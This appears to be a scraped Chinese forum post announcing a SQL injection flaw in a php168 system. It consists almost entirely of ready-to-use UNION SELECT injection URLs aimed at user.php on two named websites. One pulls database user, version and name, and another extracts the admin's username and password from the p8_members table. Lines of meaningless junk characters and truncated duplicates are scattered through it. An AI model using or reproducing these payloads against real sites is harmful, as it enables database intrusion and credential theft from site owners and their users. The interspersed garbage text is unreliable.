php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
9 `4 K, C$ D3 u                                                         
                                       

http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
; W# T( l( N! u; v! L4 A                                                                  
                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
( Q9 }' s9 F, v) X+ `
/ D$ E/ s' w  k& V) Z
) a& n! }: ~; B5 j' {) o: W
" W5 N- W( z$ D$ Y0 ^$ Q; O                                                            
$ j# B7 Y; y0 M9 x. w9 \; W8 _* x
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--


; A4 |" w( W& e- ]' }. K
( K% R, ]* f, |" E                                                                    
; e% M- g8 A% ]